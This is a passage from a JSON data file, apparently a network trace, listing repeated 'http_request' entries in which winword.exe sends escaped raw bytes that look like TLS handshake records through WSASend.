  556. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc4\\xf56\\xcd\\x0c\\xe9w\\x0e\\xb0s$\\\\x07l\\xdf+e\\xcc\\x96\\xd0\\x9bm\\xa5\\xc6m\\xf7\\x028h\\xb6 \\xa45\\xfc\\xbc\\x96\\x98\\xd7nt\\x0b\"\\xee\\xbcc\\xc10\\xe9\\xee\\xb8\\xce\\x1a\\x97\\xfa(15/\\xb3\\x94.\\xe8\\xcez\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8ci\\x0e\\xfe\\x9a\\x1d*\\xb6\\x99\\x032b1\\xc5ee\\xb3`\\xe8\\xe2/v\\xa5\\xd1\\x85y^o\\x11\\xfa\\x9d\\x7f\\xda\\xd1\\xed\\xeb\r/t\\x08\\xc0\\xa3\\xf2\\x90b,>&"
  557. },
  558. {
  559. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04-\\xb6\\x8f\\x8c\\xf9ua\\xa6\\xcc\\x96\\x11\\x98\\xc9\\x10($d\\xd4\\x12\n1\\x94\\xd2\\xbd\\x8ewl\\xdasv*\\x9a\\xda\\xf7\\x7fo\\xe2*\\xd7f\\xac\\xd4\\xb3i\\xabx\\xa0\\x85\\x86\\x7f\\xafola\\xea\\xc7\\xea\\x904\\xb3\\xa6f\\xdd\\x0e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000@y\\xb1\\x07\\x9b\\x0c\\x99\\x80\\x93\\xf7\\xab.\\xdf\\xa1\\xb9\\xd5lj\\xf1\\xcdm\\x0c(\\xf2\\x91\\xcf\\xce\\xc1\\x89d\\xa8\\xd6\\xea\\xe5\\x87p\\xcd\\xf5z\\xa8i\\xdd\\xca\\x8a{r5\\xf7"
  560. },
  561. {
  562. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xba\\xb5\\xe6\\x17\\xab/\\j;\\xc6!\\xa7\t\r\\x83`\\x08\\xff;\\xaf\\x08\\x95\\xc6u\\x16\\xd0\\xed\\xc2\\xea\\x9f\\x19r\\xaa\\xfa\\x10\\x0f\\xdb\\xc7\\xa2\\x1cos\\xf00\\xbdkv\\x15\\x8a\\xef\\xd1\nyl;\\xb2&f\\xcap\\xdc\\x87\\xc5g\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x05\\x80e\\x0b\\xb2f\\xcff\\x05x\\xa7\\xcc\\x02\\xd0\\x91\\xbe\\xcc_\\xa9\\xe8\\xbf\\xc3\\xbd\\x03_\\x92ir\\x06q}\\xab\\xaa*\\x00\\x10\\xd9\\xe7\\xbfld\n7\\x83\\xefaq`"
  563. },
  564. {
  565. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc1x\\xa4\\xdf;\\x86g\\x17\\x17\\x1e#\\x07*u\\x06\\xc9\\x06b\\x99\\xe4\\x8d\\x98\\x9f\\xff\\xa6\\xf9:\\xe4kc1\\xe2\\x16\\xb8\\x0b\\x98u\\x97\\xe3\\xc2|\\x8a\\xdddk\\xab\\x84\\x1d\\x02\\xb9g\\xd2\\xb2\\xd5d\\#\\xda\\xfa\\xf0\\x1ap\\x83b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x00084\\x91<\\xa3\\xc9\\x1c\\x18\\x0b\\xc2\\x1f\\xd6oa\\x81n\\xfceeu_g\\xdafb\\x85\\xad\\xaf|\\x94\\xe0\\xbb\\x8di\\xd8l\\xa5\\xb34\\xfd\\xd5\\xf4:nn-~\\x12"
  566. },
  567. {
  568. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04qn;\\x8c!,(s\\xa3\\xde\\xe9k4\\x1d\\x0c\\xf3\\x05j\\xef\\x96\\xf4y~i\\xb7\\xad7cr;*\\xfb\\xb2b\\xb7\\xc6\\xc7ap\\x9c\\xcf:{\\x96w\\xc7\\xa5\\x1e{\\xc4\\x93i\\xe9\\x03\\xfd\\x14\\xfa-4\\xad\t\\x87\\xbb\\x8e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd9\\xa07\\xda\\xcd\\xc0j\\x96\\xeb\\xaalwi\\xd0\\xf2??\\x9e\\xa2\\xe03\\x1f|\\xaby\\x7f\\xc9v\\xa9- uk=\\xea\\xe0[4\\xc3\\xebqeesi\\x9a\\x04{"
  569. },
  570. {
  571. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe7i7p\\xbb?gs$\\xb3\\xb7\\x19\\x83b\\xb8\\xc6c\\x8b\\xc5\\xbc\\x97e\\xee\\xd3\\x07(\\xd1\\x10\\xfa\\xbaf\\xab\\x94\\xbd\\xa1\\x88\\xa5\\xe8\\x0c\\xc5>\\x02>\\xe2\\x10\\xf1\\xd4^\\xa4\\xb8\\x8f90v\\x926\\x98\\xf03\\x0bzxi\\x16\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xba\\x01\\xa6`\\xbc\\xb0,e\\x06w\\xe2\r\\xf0\\xe5\\xfc\\xbc 8\\xa4x\\xb3\\xac\\xa2\\x80\\xa1\\xcc\\xa4\\x99\\x11\\x16\\x8c8\\xdb\\xcd\\x17&v\\x06)\\\\x8f[6\\xca/\\xac.c"
  572. },
  573. {
  574. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04{\\xb3\\x10 \\x86\\x1d\\xf0\\x9e\\xd6\\xcc\\x16\\x9c\\xe1\\x19/\\xf4\\xf8\\x89-\\x9c\\x02);3\\xc8\\xa0\\xacv\\xfe\\xdf@\\xda\\x17u/|\\x13.+q\\x18.\\xa6ac\\xf6\\xd4\\xc5\\x0fr~c\\xe8\\xfau&xw4\\xe3\\x18i\\xb4\\x8d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000'2\n\\xb8\\xd5uqo h\\xaa\\xc0\\xc6npr8}q#f\\x9dr\\x04\\xfb\\xda\\xa1(\\x96x\\xad\\x164\\x04\\xfe\\x99[\\xac\\x96\\x14=ieo\\xd4*\\xcb\\xfb"
  575. },
  576. {
  577. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdf\\x87\\xcb\\x00ga\\xe9o\\xc9\\xc6\\x925\\x1b\\x0f\\xa4c\\xcb\\xb8 \\xde\\xf1lov\\xf7\\x1dm\\xb4\\xc6\\xce'\\xbc\\x8a*\\x12%\\xbd@\\xa9cn\\xc8\\x85i\\xec\\xf4\\xa0\\x83on\\x02\\xb7\\x93x\\x11{j\\xe6e:e\\xcc\ro\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000~\\x90\\xb0\\xcb\\xe6x\\xea\\x1c\\xb7\\x91\\x8c$\\xa6dk\\x0b\\x02\\xcc5\\x0e\\x1a\\xca\\xdb\\xfd5\\xc4\\x92\\x88]x\\xd7\\x1e\\x0f\\x9366;\\xfe\\xe0\\xc2\\xfbdo\\xbeu\\xd5\\x18\\xf7"
  578. },
  579. {
  580. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04wo\\xb9\\xc4\\\\x8b/#\\xf8yxi\\xcb\\xfe\\x0b\\x86\\x82^\\x88/\\x9a\\xeen\\xa5\\xack|i\\xdb\\x88k\\x83;\\xe1\\xcf\\xb3$ob\\xf1\\xb8<d\\xaa\\x88i \\x02\r-)\\xdb\\x85\\xf1\\x85\\x1bb\\x8bv\\xfd\\xf8(\\xc9\\xd6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1f\\xe9x\\x11\\xb6\\xbfg+>\\x93\\xf4\\x84\\xbcj\\xb5\\xef\\x08c\\xb2\\xfb\\xac\\x05h,+\\xca\\x9a\\xadl\\xbd9\\x0c\"\\xc5f\\xa8&\\x10g]q\\xda\\x93\\xea\\x1f\\xef3\\xe1"
  581. },
  582. {
  583. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04d\\x19\\\\xbe\\x9a\n\\xf7\\xf5\\x12\\xde\\xa1ko\\xfe\\x82'lak\\xd5]\\xbd\\xc4~\\xc4\\xa4\\xd5\\xbdx\\xa7\\xe7\\x9dz\\x8f\\x9c\\xfa)z\\xb9\\x06p\\xbf\\x81\\x0f\\xb9!\\x1bl\\x14\\x16:\\x88\\xb1\\x14\\xc3o\\xa8\\xc0\\x0c\\x8d\\x92k\\xe7y\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe4rg\\x06\\xb2\\xe31\\x84\\xf8i\\xdc9(n\\xbcq\\x81bt\\xb7$\\x18\\xc3;j%-\\xa4\\xe4\\x0cc\\xbe1!\\xab\\xec b}w\\x15=\\xc8\\xe3\\xd5\\xd4=5"
  584. },
  585. {
  586. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x0415ei\\x01mf\\xcd\\xc7\\x1f\\x8ainh\\xffzc\\xe7\\x8a\\xfd\\x9d\\x9c\\xc4\\xcb\\xc5\\xd2j\\x8c\\xfc\\xad/?\\xe7\\x05\\x1c\r%\\x0e\\x92j\\xb0\n\\xbbk\\x84\\xa5r\\\\x90\\xbd\\xe6\\xf3\\xe6\\xde\\xf2[\\xcf\\xa1y\\x8awx\\xcd\\x01\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\x98u\\x9b\\x01j\\xdb([\\x97d\\x04qh\\xedkh\\xc2\\xae\\x12\\xb6\\x1e(0\\xc1\\x0f\\x82\\x8c]\\xa9x\\xe3\\x0b&}\\x19\\xa1\\xed\\x89f/\\xa1\\x9c,\\xd1\\x11\\xdfs"
  587. },
  588. {
  589. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf6\\x17\\xef\\x8b\\x90&q\\xcfaa\\x7f\\xb2\\x13\\xa6\\x0e\\xedm\\x02\"/o\\x1c\\x00\\xc9\\xb9_\\xce\\x8f\\x90n.\\xc9\\xc7\\x88\\xd58\\xcc\\xa2[r\\xe8p\\xd5\\x0ck\\xcf5~\\x0f\\x87\\x93\\xe9f\\x0cl\\xa7\\xa5\\x94z\\xd4\\xca\\xe4\\xc2\\xa2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z\\x85\\xf6\\x97df\\x86g\\x82ix*\\xec\\xf0\\xcf\\xe2i\\xa1\\x08]\\xce\\xef\\xde\\xa36h\\xd4\\xde\\x15!4\\xa2c\\x94*\\xb6\\xc5\\x97\\x8c\\xcf\\xc8\\xbeej\\xc5\n\\xd2g"
  590. },
  591. {
  592. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd2{\\xd6\\xfb%^r\\x0e\\xcf\\xc0i\\x0b\\x94\\xcb\\xa2\\xf6\\xec\\xech\\xe9\\x06^\\xd1\\xe4\\xbf'b<\\xcb\\xb9omj\\xde\\x1b\\x96\\x92_\\xe3\\x9d\\xdf\\x05{h&u,hy\\xf9\\x94\\x8a[\\xe0fv\\x8e*a\\xb6\\xa8\\x8e\\x94i\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf5\\x10\\xfe\\xd9\\x07k~g\\xd2\\xfe\\xcd\\xfe\\xc6lr\\xf9\\x80w\\xf1\\x18\\x8b\\x15e\\x0b\\x08\\x9ax\\x84\\xec.(\\xcbp<rhl8f\\xe6\\x00\\x88\\xeb\\x98\\x17\\xaf\\xb0\\xf9"
  593. },
  594. {
  595. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xae\\xb3%(\\xe7\\xcc\n\\xe8\\x92m;\\x19\\xae\\x1fel\\x916\\x85\\x1e\\x18\\x87m\\xe4\\x00\\xcd\\x10y\\xbck)\\xfd\\xb7s\\x8cg\\x1aa\\x94vp\\xe4'hdvrm@\\xf2k\\x83\none\\x90\\x82+\\xa3}h\\x86j\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc4\\xa48\\xab\\xfb!\\xc6\\x84>z\\xff\\xebf\\x9e\\xaa\\x9a\\x0f\\xd3gc\\?\\x07\\xd3!\\xc7\\xcf\\x19\\xf2\\xad\\xd3\\xa8\\x81f\\xde\\xa2\\x0b\\xc4\\xf6\\x8b1en@8\\x9c\\xbd\\xbc"
  596. },
  597. {
  598. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0c\\xc6s\\xa1%\\x83\\xc9\\xb2-pf\r\\x03\\x17\\xc9<w\\x86=\\x83\\xac\\x00ls\\x9a\\x83\\x17o\\xb1\\x15\\x14\\xd0\\x85\\xbd@z\\xa9z\\x0f\\x93\\x90cq\\x96\\xc9\\x15\\xad\\xe0\\xe4b\n\\x82\\x1a\\x0e\"\\x97\\xe4\\x86v\\x85jj\\x13\\x97\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9d\\x1e\\x80y\\x98\\xa6fr\\x97\\xcel\\xa8\\xb5u?8\\x197\"4k_\\x85l\\xc6~\\x7f\\xdb\\xf9\\xfb\\xa0\\xbfb\\xd1_\\x11e\\x90\\x83f\\x80s\\xe7\\xb0\\x7f\\x18\\xeen"
  599. },
  600. {
  601. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x08\\xfc\\xb9r]\\xabg\\xa6\r\\x15\\x92n\\xd993?\\x00!\\xc4\\x90ar\\x8d\\xb6!\\xa8\\xf8\\x93\\xe7p\\x88\\xde-r\\xe6~\\xfe\\x9d*ol\\xedu\\x96^\\xf47@\\xb5ny\\x82\\xa6eo\\x08\\xac\\xccg\\x1e\\x14\\x8dc3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1c\\xae\\x83[\\xb9d\\xcej\\x961\\xdd\\xef\\x0e\\xd7\\x1drd\\x1cmg\\xc3\\x94b\\xe9f\\x13@\\x11\\x83\\xb8d\\xc3\\x12a\\xf9\\xbe\n\\xad\\xd3\\xd0`\\xde\\xc0\\xb6&\\x01\\xfd\\x9b"
  602. },
  603. {
  604. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8e\\xf9\\xa6\\xafyp\\xbf\\x85sq\\xd9p\\x94\\x15t\\x03\\\\xb4 )\\xd9{\\xdcp\\xf1\\xea\\x9a\\x91!\\xe8^*\\xd6\\x1eam\\xfc\\xbd\\x89\\x870$k\\xa9\\xce\\xd8'\\xac4k\\xf2pi\\x13\\xd13v\\xe4s\\x19c\\xee\\x8ab\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000o\\x12\\xea\\xc2t\\x88\\x14f\\x15\\xf6\\xb4\\xf2\\x9c\\x91\\x1b1\\x023e\\xf7\\xda\\xdfd\\xf9t\\xaa\\x03u\\x8bp\\xc4,o\\x17w\\xd1\rn\\x83w\\x93n\\x8fr\\x8d\\x9f\\xbf\\"
  605. },
  606. {
  607. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdf\\x1a\\xa5^>\\xa4\\xd2e7\\xb0\\xaa\\x89\\xe6\\x06\\x88s\\xfea\\xb3\\x87\\xb7\\xdd\\xad\\x16\\xc8\\xf7\\xc5\\x86\\xb7*e\\xb6\\xc0\\x884r\\xa4\\xf0\\x91\\xd5\\x16._\\xc4\\x14n\\xaf\\x80%c\\x03\\xeb\\x07\\x05\\x04\\x98\\xb1\\x02\\xee74\\xc7\\x0b\\xd3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdf\\xaf\\xfd\\x15\\xc4\\xd0\\xdc\\xdf8\\xe3\\xe8\\x11?\\x8b\r\\xa8\\xf9\\x171\\xa1ss\\xdb\\xd3\\x00\\x0f\\x0c\\x16\\x19^\\xa0\\xa0>|\\xd3c\\xb3\\x9c,]\\x91\\x1bob3\\xe0\\xb6\\xd7"
  608. },
  609. {
  610. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82r+\\x17\\x12@\\xfc\\xb0\\xe6$h';\\xf0d\\xce\\x860o\\xc9\\xe0%\\xc5\\x07\\xc9c$\\xca\\xb9q\\xde`q\\xf8\\xec\\xc2\\x82\\xf1u:\\x1b6p\\xb0\\x8dv\\x9b3>\\xf8\\x9a\\xc9n\\x1b\\xcc\\xd66\\xfc\\x0e\\x91\\xa0\\xa3\\x1d\\xa0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa3\\x05w{?\\xac#3\\xa1\r\\xfc{\\xa20\\xb0#\\xa5l\\xa0\\x17\\x18\\xcd\\x89\\xef\\xc0\\xc8\\x9d*{\\x8d\\x93\\xd2\\xec\\x00#\\xc7\\xd5\\xa5h\\xd1\\xb7\\x1b\\xaa\\xb8\\xdc\\xf9_\\x88"
  611. },
  612. {
  613. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa3\\xcc\\xe1\\x11\\xc5\\x8d\\xce\\x1e\\x8bet\\xa8\\x00w\\x08tf\\xad1\\x82\\xe9\tt\\xedb\\x82\\xeda-\\x11\\xfb\\xf9e\\x1a\\xdc\\x1d\"\\xdc\\xbf6\\xb7\\xb5b3\\xd8$\\x0e\\xea\\xd4ki%&\\xeb\\xd6\\x10\\xa3\\x89\\xb4\\x9fo\\x98{4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa9\\x00\\x01a\\xb3\\x02!\\xb4a\\xc96\\x05\\xde\\xfar\\x93\\xa3\\xee\\xa8\\xb0un\\xf3l\\xd9\\xe8\\xc1\\xb5v\\xa9}\\x9a\\x93\\xa4\\xfcy\\x94\\x164=4\\x9f\\xd4q\\x17%\\xbbw"
  614. },
  615. {
  616. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04h$\\xbd\\xa3.\\xfe\\x89\\xfcm\\xc7\\xe3z\\xa4\\x8c\\x1e\\xe6\\xc2\\x89\\xdc=\\xfb;\\x12\\xae\\xc04\\x9e\\xbc-\\xff\\xd4)\\x1b\\x1dl\\xadr\\x1c\\xabb\\x1c\\x8a\\xbf.\\xd2v\\xe05\\x1a\\xd9{ai\\xb4\\x99m\\x1ck\r\\xd2#\\\\x9f\\xc8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xce\\xe0w\\x83\\xf4\\xa4\\xa8\n\\xd9\\x15wf\\x81\\x8c\\xbd\\xf0\"\\x15k\\x8d\\xf3\\x1dp`\\x8e\\xca\\x87s\\x00\\x7f?\\x9cb-n\\x8e\\xff\\x8e\\xe3\\xa2\\xf0\\x0c\\xd4\\x99\\x8c\\xdd\\xb6\\x92"
  617. },
  618. {
  619. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa3\\xd0\\xee\\xe5\\xee;ea\\x85\\xfd#>\\x8ekc6^\\x9b@z\\xa5\\xbei[\\x82\\x0b\\xac\\xa1x\\xe5\\xfb'\\x01.\\x0c~\\xb1%j\\x1b\\xf1)\\xda%\\x0e2)k\\x10\\xf7\\xf640x\\xf4k\\xeevk\\xf6\\xc8\\x8f\\xa9\\xfb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000o\\x15\\xf6j!/\\x1f\\xc1*\\x85\\x06\"yf\\xfa+)#\\xa7\\xfe\\x14q\\xdc\\xab\\x1fw\\xfd\\x9b\\x9c\\x17\\x15\\x8c\\xda*\\x04\\xc6\\x9d|\\xcf\\x14~'\\x94\\xae\\xb3.|\\xe8"
  620. },
  621. {
  622. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04q\\xa4\\xb4\\x19en\\xa1\\xd8\\xca\\xa5\\xf0\\xb2zn\\x9c\\x8b\\x8b]\\x9b\n\\xc5\\xb5\\xe2\\\\xc4\\x01(\\xdb\\x9f\\x92\\xf5\\xdd\\x00\\xfe\\x86\\xef\\x054\\xe5d\\xb3\\x93!\\xcc\\xb7\\x06;\\xd72\\xc4f\\x17`\\xa1\\xa8gg\\xae<pi\\x89\\xca\\xe2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe0h*'\\x84a\n\\x15zc\t\\xa30f\\x13a\\x86\r\\x1d\\xf5\\xbee\"s\\xdd\\xaf+\\x7f\\xa7\\xce\\x8f\t\\xc8d\\xfc1\\xd7\\x91\\xdd\\x1de\\xacg\\xda~xx\\xb2"
  623. },
  624. {
  625. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04c\\x88!i\\xe1\\xfe\\xbf\\xcee\\x8f?o\\xd1\\x87{\\x18\\xfbj\\x9a\\xeb\\v8\\x03jj\\xb9c\\x9a\\xaef\\xaf\\xd9\\x7f\\xe0\\x03\rb<\\x97\\x03\\xd9\\xc4\\xbb\\xaaq\\xa64oa\\xf7\\xb8[t\\x7fbi\\x8c\\xcb\\x98c\\xb9g5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x07+x\\xe2\\xd1\\xe7\\x14\\xe6\\xbd\\x87t\\xe1\\xba\\xf9\\x8f\\xe0t\\x99;\\xfb\\xae\\xdd\\x057\\x9c\\xd9\\xf5\\xd7\\xbb\\xa3eg\\x14sv\\x97\\x044|\\xdfk\\x10>\\xb8\\xe8\\xd9\\xaap"
  626. },
  627. {
  628. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\\xb2=\\xa9\\xb4\\xe4\\x91\\xbd\\x05j\\xf0#\\x9c,\\xcf\\xd7\\\\xd3k\\xd8wo\\x8f\\x18b\\xb4\\x01\\xb55\\xea\\xf5\\xfa\\x8bb\\xe5\\xb2\\xa6\\xe9e\\xf1\\xdco\\xae\\xd0&\\x00\\x97\\xc4na\\xd3\\x16\\xdfg\\x81(m\\xf0\\xaa\\xc8f\\x1c6\\xe7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000{\\x7f\\x1db\\xe5g\\xe7o\n\\xcfg\\xcb\\xa4o\\xfc\\xeb\\x96\\x95\\x8c\\xa5\\x17s0\\xb1\\x9e\\x12a\\x11\\x94\\xd8\\x8d\\xaf\\xe7%\\xc5\\xce\\xec\\x84i<\\x92\\x13\\xfe(]]\\x14\\x19"
  629. },
  630. {
  631. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04n\\xf8\\x978\\xe0\\xe9m\\xdc\\xab\\xec\\xd3\\xcf\\xec\\x02\\xec'\t\\xc8\\xc2\\x7f6.\\xd0\\xdf\\xd7)o\\xf1\\xcbl\\xb2\\x8e\\xa9\\xe8n\\xce\\xb3\\x0ev\\xa9\\x16d\\xe5\\x02\\x19\\xa9b\\xfb,v\\xa9\\xd1\\xc5j\\xd9t\\x00\\xb8\\xfe\\xe9x\\xbd\\g\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i,\\xde4\\xb5\\xe30\\xa3\\x85[\\x93\\xe6\\xe2f\\xcd\\x83i\\x02\\xb9\\xb3\\xc6\\xfea\\xbagc\\xef\\xdf\\xbf`\\xfa\\x7f\\xdf.\\x19a\\x9f\\xdb\r\n\\xffkw\\xad\\xda9\\xf6%"
  632. },
  633. {
  634. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04bp<\\xe4\\xb4\\x9cr8\\x8a\\xff\\xacq\\xda6\\x06\\xe7\\xc9\\xcf$db%\\x13k_z\\xf0\\x17\\xdb#\\xf1\\xcd\\xd0\\x15z\\xe5_\\xec\\xc96\\x83e\\xc1\\xb6z\\xa1\\xf95\\x9ai\\x8aq__\\xac\\xaa\\xc9\\x0bz\\x93\\x08\\xffqu\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x82o\\xbf:\\xd0?\\xb2\\\\xc6+\\xe56\\x08h\\xaa\\x9c\\xc8\\x91s\\xceq\\x99q\\xac?\\xcb\\x90l\\xa8\\xb6\\x98\\x8f\\x8a\\xe4\\x15\\xf1\\xbf\\xd2\\xed5\\xb7l\\x16\\x9dv\\x85aj"
  635. },
  636. {
  637. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04d\\x9c\\x86\\x88\\x89\\xc8\\xfc@\\xdc8\\x17s\\xac\\xd7\\xac\\xf6\\x80\\x88auv\\xf5r\\x9a~z\\x19r\\xabgs\\xe5\\xd5\\x8e{\\xb6\\x82\\xe8\\xc7\\xdc\\x06z\\x81+\\xcc\\xaeu\\xdc\\x10\\xda$\\xa0\\x11\\xe7\\x1dz\\xa2z;\\xca\\xc5\\xc6\\x07=\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x16\\xf4\\xf5\\xd2\\xfb\\xf79\\xc1\\x9a~\\xb1\\xcb\\x1f\\xd4e\\xee\\xb3\\xb5\\xce\\x9dj\\x11\\xa1\\x990\\xe3y\\xc8's\\xba\\xc56\\xd1\\x01s\\x1a\\xd0\\xfcu*t\\xef\\x7f\\xf76\\x0f\\x83"
  638. },
  639. {
  640. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc1(\\x8b.r])\\xf7\\x83\\xc7\\xf0\\x02\\x85b\\xc3pa|edi\\xd2\\xff\\xbf\\xa2\\xf2\\xe22\\x9a\\x1f46b\\x8d\\x85d(\\xaa\\x18\\x08m\\x0e\\x18??\\xa2w\\xad/\\x92\\x8c\\xbe\\x1f?\\x02\\x9cb\\xe3\\x18\\xa5\\xcd\\x1c\\xd9b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k9;pxn6i\\xc3iq\\xdf\\x02;z\\\n\\x9f\\x96\\xac.\\xa6\\xdes\\x12\\xdc\\x81r\\xa7(\\xb1\\xed\\x0c\\x97\\xea\\x1a\\xbe#8\\xe9\\xb9d\\xe7\\xad25j\\x9d"
  641. },
  642. {
  643. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04<\\xcc\\x0e\\x80ox$\\xc2\\xfdkag y\\xc4o>\\xcf\\x92%c\\x879\\x9c\\x1ay\\x88-\\xfdzs\\xd0\\xa3\\x97\\x80x+t>\\xbf\\xed_\\xf9\\xf3\\xb4\\xa8\\xcf\\x03u\\xfa`\\xf3l\\x97ss%u\\x84\\xb6h/\ti\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000pydb+\\xac\\xd5\\xf3sky\\x9f\\xb9\\xad\\x19\\xb1\\x8b\\xaf\\x8cta\\x90\\x99\\xf8\\x078\\xe5\\xb5\\xe6\\xa7\\xa1\\x9e1\\x94\\xb2\\x17\\x0f\\xdc!\\x05;v\\xdbag\\xb1%p"
  644. },
  645. {
  646. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x87b\\x10\\xb6\\xe8\\xc3\\x06\\x106`\\xdb-\\xb6\\xad\\xb6\\xcb\\xeaux\\x8b\\xac\\x06.4\\x12\\x0e\\xc8\\xa3y?\\xf2)\\xc3\\x7f\\x10\\x19fh\\xf3\\x8d\\xf2\\xd8:n\\x9b!f\\x82\\xe8\\xc0v\\x94\\x9c\\xdc\\xcb\\xc8\\x98\\x1f\\xd1\\x9b\\xce\\x99\\xb3f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000~\\x82\n\\xcc\\xf2\\xa1\\xdf\\xe3\\x9d,\\xc0^\\xfd\\x8avn\\xbdka\\x82\\xb6\\xaa\\xe6\\xf8j/\\xbf\\x07\\xa8\\v\\xec\\x94\\x85\\x9apam\\xd25p\\x89-\\xf2\\x86\\xcc\\xc7\\xe2"
  647. },
  648. {
  649. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdd\\xc8\\x16b\\xc9m\\xca\\xc3v\\xde\\xf6\\x05d\\xa0\\xc07\\x18\\x8e0=\\xc8@x\\xa5za\\xde?\\xd8}0i\\xf1\\xda\\x9f\\x08a\\xd6\\xfe\\xf3\\xb6\\xf6\\xe6a \\xdb\\x8b\\x91\\xd8\\x8f\\xf9k\\x15\\xce\\xae\\x94'\\\\x81\\xd4j\\xdat\\x9c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\x12\\xd6\\xee\\x0f\\x91z\\xda\\xb6w\\x92\\xd3\\x94y&\\xadl \\x8c;\\xb5\\x91b\\x1c&c_)ugdeg\\xb8\\xc45s\t\\xa7\\xe4o\\xd5m '\\xf0\\x0ex"
  650. },
  651. {
